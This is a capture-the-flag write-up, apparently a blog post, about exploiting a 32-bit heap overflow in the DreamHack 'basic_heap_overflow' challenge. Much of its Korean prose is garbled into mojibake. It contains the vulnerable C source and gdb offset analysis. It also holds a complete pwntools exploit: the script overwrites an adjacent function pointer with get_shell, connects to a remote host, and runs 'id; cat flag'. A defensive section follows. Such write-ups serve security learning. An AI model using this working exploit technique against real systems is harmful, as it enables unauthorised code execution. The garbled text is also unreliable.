์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ ์ง๊ฒน๋๋ก ๋ดค๋๋ฐ, ์ด ๋ฌธ์ ๋ ๋ฌด๋๊ฐ ํ์ด๋ค. ์ด๋ฆ ๊ทธ๋๋ก basic_heap_overflow. ํ์์ ์ฐ์์ผ๋ก ์กํ ๋ ์ฒญํฌ ์ค ์ ์ฒญํฌ์ ๊ฒฝ๊ณ ์์ด ์
๋ ฅ์ ๋ฐ์, ๋ฐ๋ก ๋ค ์ฒญํฌ์ ๋ค์ด์๋ ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฎ๋ ๊ฒ ์ ๋ถ๋ค. ์คํ ์นด๋๋ฆฌ๋, ๋ฐํ ์ฃผ์ ๊ณ์ฐ๋ ํ์ ์๋ค. ๋์ ํ ์ฒญํฌ๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ์ด๋ป๊ฒ ๋ฐฐ์น๋๋์ง, ๊ทธ๋ฆฌ๊ณ ๊ทธ ๋ฐฐ์น๊ฐ glibc ๋ฒ์ ๋ง๋ค ์กฐ๊ธ์ฉ ๋ค๋ฅด๋ค๋ ๊ฑธ ์์์ผ ํ๋ค. ๋ง์ง๋ง ํจ์ ์ด ๋ฐ๋ก ๊ฑฐ๊ธฐ ์์๋ค.
๋ฌด์์ ์ฃผ๋ ๋ฌธ์ ์ธ๊ฐ
๋ฌธ์ ๋ ์๋ฒ์์ ๋๋ ์๋น์ค(basic_heap_overflow)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๋ฅผ ์ค๋ค. ์ต์คํ๋ก์ํด์ ์
ธ์ ์ป๊ณ flag ํ์ผ์ ์ฝ์ผ๋ฉด ๋๋ค. ๋จผ์ ๋ฐ์ด๋๋ฆฌ๋ถํฐ ์ดํด๋ดค๋ค.
file basic_heap_overflow; checksec basic_heap_overflow
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.
- Arch: i386 โ 32๋นํธ. ์ฃผ์๊ฐ 4๋ฐ์ดํธ, ํฌ์ธํฐ๋ 4๋ฐ์ดํธ๋ค.
- No PIE (0x8048000) โ ์ฝ๋๊ฐ ํญ์
0x08048000๋์ญ์ ๊ณ ์ ์ผ๋ก ์ฌ๋ผ์จ๋ค.get_shell๊ฐ์ ํจ์ ์ฃผ์๋ฅผ ๊ทธ๋ฅ ์์๋ก ์จ๋ ๋๋ค. - No canary โ ์คํ ์นด๋๋ฆฌ๊ฐ ์์ง๋ง, ์ด ๋ฌธ์ ๋ ์ ์ด์ ์คํ์ด ์๋๋ผ ํ์ ๋์ด๋จ๋ฆฌ๋ฏ๋ก ์๊ด์๋ค.
- NX enabled โ ํ/์คํ์ ์ฌ๋ฆฐ ๋ฐ์ดํฐ๋ฅผ ์คํํ ์ ์๋ค. ์
ธ์ฝ๋๋ฅผ ์ฌ๋ ๊ฒ ์๋๋ผ ์ด๋ฏธ ์๋
get_shellํจ์๋ฅผ ์ฌ์ฌ์ฉํด์ผ ํ๋ค๋ ๋ป์ด๋ค.
์ด ์กฐํฉ์ "์ฃผ์๊ฐ ๊ณ ์ ๋ ๊ธฐ์กด ํจ์๋ก ์คํ ํ๋ฆ์ ๋๋ ค๋ผ"๋ ์ ํธ๋ค. ์์ค๋ฅผ ๋ณด๋ฉด ๊ทธ ํจ์๊ฐ ์น์ ํ๊ฒ ์ค๋น๋ผ ์๋ค.
์์ค ์ฝ๊ธฐ
cat basic_heap_overflow.c
ํต์ฌ๋ง ์ถ๋ฆฌ๋ฉด ์ด๋ ๋ค.
struct over {
void (*table)(); // ๊ตฌ์กฐ์ฒด์ ์ ์ผํ ๋ฉค๋ฒ = ํจ์ ํฌ์ธํฐ
};
void get_shell() {
system("/bin/sh"); // ์ฐ๋ฆฌ๊ฐ ๋ถ๋ฅด๊ณ ์ถ์ ํจ์
}
int main() {
char *ptr = malloc(0x20); // ์ฒญํฌ 1
struct over *over = malloc(0x20);// ์ฒญํฌ 2 (๋ฐ๋ก ๋ค์ ์กํ)
initialize();
over->table = table_func; // ์๋๋ "overwrite_me!" ๋ฅผ ์ถ๋ ฅํ๋ ํจ์
scanf("%s", ptr); // โ
๊ธธ์ด ์ ํ ์๋ ์
๋ ฅ
if( !over->table ){
return 0;
}
over->table(); // โ
ํจ์ ํฌ์ธํฐ ํธ์ถ
return 0;
}์ฝ์๋ง์ ๊ฑธ๋ฆฌ๋ ๊ฒ ๋ ๊ฐ์ง๋ค.
์ฒซ์งธ, malloc(0x20) ์ด ์ฐ๋ฌ์ ๋ ๋ฒ ํธ์ถ๋๋ค. ๊ฐ์ ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ์ฐ์์ผ๋ก ์ก์ผ๋ฉด ํ์์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋ถ์ด์ ๋ฐฐ์น๋๋ค. ptr ์ฒญํฌ ๋ฐ๋ก ๋ค์์ด over ์ฒญํฌ๋ค.
๋์งธ, scanf("%s", ptr) ์ ๊ธธ์ด ์ ํ์ด ์๋ค. %s ๋ ๊ณต๋ฐฑ/๊ฐํ์ ๋ง๋ ๋๊น์ง ๋ฐ์ ๋งํผ ๊ทธ๋๋ก ๋ฒํผ์ ์ด๋ค. ptr ์ด ๊ฐ๋ฆฌํค๋ ์ฒญํฌ๋ ์ฌ์ฉ์ ๋ฐ์ดํฐ ๊ณต๊ฐ์ด 0x20 ๋ฐ์ดํธ๋ฟ์ธ๋ฐ, ๊ทธ๊ฑธ ๋๊ฒจ ์ฐ๋ฉด ๋ค ์ฒญํฌ๋ก ํ๋ฌ๋์น๋ค. ๊ทธ ๋ค ์ฒญํฌ์ ์ฒซ 4๋ฐ์ดํธ๊ฐ ๋ฐ๋ก over->table โ ์ฐ๋ฆฌ๊ฐ ๋
ธ๋ฆฌ๋ ํจ์ ํฌ์ธํฐ๋ค.
๋ง์ง๋ง if( !over->table ) ๋ ํจ์ ํฌ์ธํฐ๊ฐ 0์ด๋ฉด ๊ทธ๋ฅ ์ข
๋ฃํ๋ค. ์ฐ๋ฆฌ๋ 0์ด ์๋ ๊ฐ(get_shell ์ฃผ์)์ผ๋ก ๋ฎ์ ๊ฑฐ๋ผ ์ด ๊ฒ์ฌ๋ ์์ฐํ ํต๊ณผํ๊ณ , over->table() ์ด ๊ทธ๋๋ก ์คํ๋๋ค.
ํ์ ์ฃผ์ ํ๋ณด
get_shell ์ ์ฃผ์๊ฐ ํ์ํ๋ค. No PIE๋ผ ์ฌ๋ณผ ํ
์ด๋ธ์ ๊ฐ์ด ๊ณง ์ค์ ๋ฐํ์ ์ฃผ์๋ค.

get_shell = 0x0804867b. ๋ฐ์ดํธ๋ก ํ๋ฉด 7b 86 04 08 ์ธ๋ฐ, scanf("%s") ๊ฐ ์ซ์ดํ๋ ๋ ๋ฐ์ดํธ๋ ๊ณต๋ฐฑ(0x09~0x0d, 0x20)์ด ํ๋๋ ์๋ค. ๊ทธ๋๋ก ์
๋ ฅ์ ์ค์ด ๋ณด๋ผ ์ ์๋ค.
๋์ค์ด์
๋ธ๋ก main ์ ์ค์ ํ๋ฆ๋ ํ์ธํ๋ค.

mov DWORD PTR [eax], 0x8048694 ๊ฐ over->table = table_func ์ด๊ณ , __isoc99_scanf ํธ์ถ ๋ค mov eax,[eax] โ call eax ๋ก ํจ์ ํฌ์ธํฐ๋ฅผ ๊ทธ๋๋ก ๋ถ๋ฅธ๋ค. ์์ค์ ์ด์
๋ธ๋ฆฌ๊ฐ ์ ํํ ์ผ์นํ๋ค. ์ด์ call eax ์ง์ ์ eax ๊ฐ get_shell ์ด ๋๋๋ก over->table ์ ๋ฎ์ผ๋ฉด ๋์ด๋ค.
์ค๋ฒํ๋ก์ฐ ๊ตฌ์กฐ
๋ ์ฒญํฌ๊ฐ ์ด๋ป๊ฒ ๋ถ์ด ์๊ณ , ์ด๋๊น์ง ์ฑ์์ผ ํจ์ ํฌ์ธํฐ์ ๋ฟ๋์ง๋ฅผ ๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌํ๋ค.

32๋นํธ glibc์ ์ฒญํฌ ํ๋๋ [prev_size 4B][size 4B][์ฌ์ฉ์ ๋ฐ์ดํฐ โฆ] ๊ตฌ์กฐ๋ค. malloc(0x20) ์ ์์ฒญ ํฌ๊ธฐ 0x20 ์ ๊ด๋ฆฌ์ฉ 4๋ฐ์ดํธ๋ฅผ ๋ํ๊ณ 8๋ฐ์ดํธ ์ ๋ ฌ๋ก ๋ง์ถฐ ์ฒญํฌ ํฌ๊ธฐ 0x28 ์ด ๋๋ค(request2size(0x20) = (0x20 + 4 + 7) & ~7 = 0x28). ๋ฐํ๋๋ ์ฌ์ฉ์ ํฌ์ธํฐ๋ ์ฒญํฌ ์์ + 8์ด๋ค.
๊ทธ๋์ ptr ์์ over->table ๊น์ง์ ๊ฑฐ๋ฆฌ๋:
ptr ์ฌ์ฉ์ ๋ฐ์ดํฐ 0x20 (32) ๋ฐ์ดํธ
+ over ์ฒญํฌ ํค๋ 0x08 (8) ๋ฐ์ดํธ (prev_size + size)
= 0x28 (40) ๋ฐ์ดํธ์ฆ 'A' * 40 ์ผ๋ก ์ฌ๊ธฐ๊น์ง ์ ํํ ์ฑ์ด ๋ค, ์ด์ด์ง๋ 4๋ฐ์ดํธ์ get_shell ์ฃผ์๋ฅผ ์ฐ๋ฉด over->table ์ด ํต์งธ๋ก ๋ฐ๋๋ค.
์คํ์ ํจ์ โ ๋ก์ปฌ๊ณผ ํ๊น์ด ๋ค๋ฅด๋ค
์ด ๋ฌธ์ ์์ ์ ์ผํ๊ฒ ๋ฐ์ด ๊ฑธ๋ ธ๋ ๋ถ๋ถ์ด๋ค. ๋ก์ปฌ์์ gdb๋ก ๋ ์ฒญํฌ ์ฃผ์๋ฅผ ์ง์ ์ฐ์ด ์คํ์ ์ ์ฌ๋ดค๋๋ 0x28์ด ์๋๋ผ 0x30(48) ์ด ๋์๋ค.
โถ ์ฝ์ง: ๋ก์ปฌ glibc ๋ก ์ฐ ์คํ์ 48์ ๊ทธ๋๋ก ์๊ฒฉ์ ์๋ค๊ฐ ํ๋ฐ์ง
malloc ์ด ๋ฐํํ ๋ ํฌ์ธํฐ๋ฅผ gdb๋ก ์ง์ ๋น๊ตํ๋ค. main ์์ ๋ ๋ฒ์งธ malloc ์งํ(*0x80486de)์ ๋ฉ์ถฐ ์คํ์ [ebp-0x10](ptr), [ebp-0xc](over) ๊ฐ์ ์ฝ์๋ค.

๋ก์ปฌ์์๋ over - ptr = 0x30, ์ฆ 48๋ฐ์ดํธ๊ฐ ๋์จ๋ค. ๋ด ์ฐ๋ถํฌ์ 32๋นํธ glibc๋ 2.42์ธ๋ฐ, glibc 2.26 ๋ฌด๋ ต๋ถํฐ i386์ MALLOC_ALIGNMENT ์ ๋ ฌ ์ ์ฑ
์ด ๋ฐ๋์ด ๊ฐ์ malloc(0x20) ์ด๋ผ๋ ์ฒญํฌ๊ฐ 0x30 ์ผ๋ก ์กํ๊ธฐ ๋๋ฌธ์ด๋ค.
๊ทธ๋ฐ๋ฐ ์ด ๋ฌธ์ ์๋ฒ๋ Ubuntu 16.04 = glibc 2.23 ์ด๋ค. 2.23์์๋ request2size(0x20) = 0x28, ์คํ์
์ด 40์ด๋ค. ์ฆ ๋ก์ปฌ์์ ์ฐ 48์ ํ๊น๊ณผ ๋ค๋ฅธ ๊ฐ์ด๋ค.
๋ก์ปฌ ๊ฐ(48)์ ๊ทธ๋๋ก ๋ฏฟ๊ณ ์๊ฒฉ์ ์๋ฉด ํจ์ ํฌ์ธํฐ๋ฅผ 8๋ฐ์ดํธ ๋น๋๊ฐ ๋ฎ๊ฒ ๋๊ณ , call eax ๋ ์๋ฑํ ๊ฐ์ผ๋ก ๋ด๋ค. "์คํ์
์ ๋ก์ปฌ gdb๋ก ์ฌ๋ฉด ๋๋ค"๋ ์ต๊ด์ด ๋ฐฐ์ ํ๋ ์ง์ ์ด๋ค. ํ ์คํ์
์ ํ๊น glibc ๊ธฐ์ค์ผ๋ก ๊ณ์ฐํด์ผ ํ๋ค. ๊ทธ๋์ ์๊ฒฉ ํ์ด๋ก๋๋ ๋ก์ปฌ ์ค์ธก 48์ด ์๋๋ผ glibc 2.23 ๊ณ์ฐ๊ฐ 40์ ์ผ๋ค.
๊ธฐ๋ฒ ์์ฒด๊ฐ ๋ง๋์ง๋ ๋ก์ปฌ(glibc 2.42, ์คํ์
48)์์ ๊ฐ์ง flag ํ์ผ๋ก ๋จผ์ ํ์ธํ๋ค. 'A' * 48 + p32(get_shell) ๋ก ํจ์ ํฌ์ธํฐ๋ฅผ ๋ฎ์ผ๋ ์
ธ์ด ๋จ์ด์ง๊ณ ํ์ผ์ด ์ฝํ๋ค.

๋ฉ์ปค๋์ฆ์ด ํ์ธ๋์ผ๋ ์๊ฒฉ์๋ ์คํ์ ๋ง 40์ผ๋ก ๋ฐ๊ฟ ๊ทธ๋๋ก ์ ์ฉํ๋ฉด ๋๋ค.
์ต์คํ๋ก์
ํ์ด๋ก๋๋ ๊ฒฐ๊ตญ ํ ์ค์ด๋ค. 40๋ฐ์ดํธ ํจ๋ฉ + get_shell ์ฃผ์. scanf ๋ก ์ฌ์ ๋ค ๊ณง๋ฐ๋ก ์
ธ์ด ์ด๋ฆฌ๋ฏ๋ก, ๊ฐ์ ์์ผ์ผ๋ก cat flag ๋ฅผ ํ๋ ค๋ณด๋ด ํ๋๊ทธ๋ฅผ ํ์ํ๋ค.
#!/usr/bin/env python3
# basic_heap_overflow (DreamHack, Silver 4)
# ptr = malloc(0x20); over = malloc(0x20) -> ๋ ์ฒญํฌ๊ฐ ํ์์ ์ฐ์.
# scanf("%s", ptr) ์ ๊ธธ์ด ์ ํ์ด ์์ด ptr ์ฒญํฌ๋ฅผ ๋์ด ์ธ์ ํ over ์ฒญํฌ์
# ์ฒซ ๋ฉค๋ฒ(ํจ์ ํฌ์ธํฐ over->table)๋ฅผ ๋ฎ์ ์ ์๋ค. ์ด๋ฅผ get_shell ๋ก ๋ฎ์ผ๋ฉด
# main ๋์ over->table() ํธ์ถ์ด ๊ณง system("/bin/sh") ๊ฐ ๋๋ค.
from pwn import *
context.update(arch='i386', os='linux', log_level='warn')
HOST, PORT = 'host3.dreamhack.games', 14875
GET_SHELL = 0x0804867b # nm: T get_shell -> system("/bin/sh")
OFFSET = 40 # ํ๊น glibc 2.23 i386: malloc(0x20) => chunk 0x28
payload = b'A' * OFFSET # ptr ์ฒญํฌ(+ํค๋)๋ฅผ ์ฑ์ over ๊ฒฝ๊ณ๊น์ง ์ด๋
payload += p32(GET_SHELL) # over->table <- get_shell
io = remote(HOST, PORT)
io.sendline(payload)
io.sendline(b'id; cat flag; echo ===END===')
print(io.recvuntil(b'===END===').decode(errors='replace').replace('===END===','').strip())
io.close()์คํํ๋ฉด id ๊ฐ ์๋น์ค ๊ณ์ ์ผ๋ก ์ฐํ๊ณ flag ํ์ผ ๋ด์ฉ์ด ๊ทธ๋๋ก ๋์จ๋ค.

uid=1000(basic_heap_overflow) gid=1000(basic_heap_overflow) groups=1000(basic_heap_overflow)
DH{f1c2027b0b36ee204723079c7ae6c042}ํ๋๊ทธ๋ DH{f1c2027b0b36ee204723079c7ae6c042}. ๋ผ์ด๋ธ ์๋ฒ์ ์ธ์ฆํ๋ ์ ๋ต ์ฒ๋ฆฌ๋๋ค.
๋ฐฉ์ด ๊ด์ ์์
์ด ๋ฒ๊ทธ์ ๋ฟ๋ฆฌ๋ ๋ ๊ฐ๋ค.
์ฒซ์งธ, ๊ฒฝ๊ณ ์๋ ์
๋ ฅ. scanf("%s", ptr) ๋ ๋ฒํผ ํฌ๊ธฐ๋ฅผ ์ ํ ๋ชจ๋ฅธ๋ค. ์ต์ํ scanf("%31s", ptr) ์ฒ๋ผ ํญ์ ์ง์ ํ๊ฑฐ๋, fgets(ptr, 0x20, stdin) / read(0, ptr, 0x20) ์ฒ๋ผ ํฌ๊ธฐ๋ฅผ ๋๊ธฐ๋ ํจ์๋ฅผ ์จ์ผ ํ๋ค. C์์ ์ฌ์ฉ์ ์
๋ ฅ์ ๊ณ ์ ๋ฒํผ์ ๋ฐ์ ๋ ํฌ๊ธฐ๋ฅผ ํจ๊ป ๋๊ธฐ์ง ์๋ ์๊ฐ, ๊ทธ ์์ ๋ฌด์์ด ์๋ ๋ฎ์ธ๋ค.
๋์งธ, ์ ๋ขฐ ๋ฐ์ดํฐ์ ์ฌ์ฉ์ ๋ฐ์ดํฐ์ ์ธ์ ๋ฐฐ์น. ํจ์ ํฌ์ธํฐ(over->table)์ฒ๋ผ ์คํ ํ๋ฆ์ ๊ฒฐ์ ํ๋ ๊ฐ์ด, ๊ฒฝ๊ณ ์์ด ์ฑ์์ง๋ ์ฌ์ฉ์ ๋ฒํผ ๋ฐ๋ก ๋ค์ ๋์ฌ ์๋ค. ํ ๋ฐฐ์น๋ ํ๋ก๊ทธ๋๋จธ๊ฐ ํต์ ํ๊ธฐ ์ด๋ ต์ง๋ง, ์ ์ด์ "์ ์ด ๋ฐ์ดํฐ โ ํจ์ ํฌ์ธํฐ ํธ์ถ" ํจํด์ ์ํํ๋ค. ํจ์ ํฌ์ธํฐ ๋์ ์ ์ ์ธ๋ฑ์ค + ๊ณ ์ ํ
์ด๋ธ ์กฐํ(range ๊ฒ์ฌ ํฌํจ)๋ก ๋ฐ๊พธ๋ฉด, ๊ฐ์ ๋ฎ์ด๋ ์์ ์ฃผ์๋ก ๋ชป ๋ด๋ค.
์ฌ๊ธฐ์ ๋ํด ๋ฐฐํฌ ํ๊ฒฝ์์ PIE์ Full RELRO ๋ฅผ ์ผฐ๋ค๋ฉด get_shell ์ฃผ์๊ฐ ๊ณ ์ ๋์ง ์์ ๊ณต๊ฒฉ ๋๋๊ฐ ํฌ๊ฒ ์ฌ๋ผ๊ฐ๋ค. ์ด ๋ฌธ์ ๋ ํ์ต์ฉ์ด๋ผ ๋ณดํธ๊ธฐ๋ฒ์ ์ผ๋ถ๋ฌ ๊บผ๋ ๊ฒ์ด๊ณ , ์ค๋ฌด ๋ฐ์ด๋๋ฆฌ๋ผ๋ฉด ๊ธฐ๋ณธ์ผ๋ก ์ผ์ ธ ์์ด์ผ ํ ๊ฒ๋ค์ด๋ค.
์ ๋ฆฌํ๋ฉด, 32๋นํธยทNo PIE ํ๊ฒฝ์์ ์ฐ์ malloc + ๊ฒฝ๊ณ ์๋ scanf + ์ธ์ ํจ์ ํฌ์ธํฐ ๋ผ๋ ์ธ ์กฐ๊ฑด์ด ๊ฒน์น๋ฉด, ์คํ์ ๊ฑด๋๋ฆฌ์ง ์๊ณ ๋ ์
ธ๊น์ง ๊ณง์ฅ ์ด์ด์ง๋ค. ํ ์ค๋ฒํ๋ก์ฐ์ ๊ฐ์ฅ ๋ด๋ฐฑํ ํํ์๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ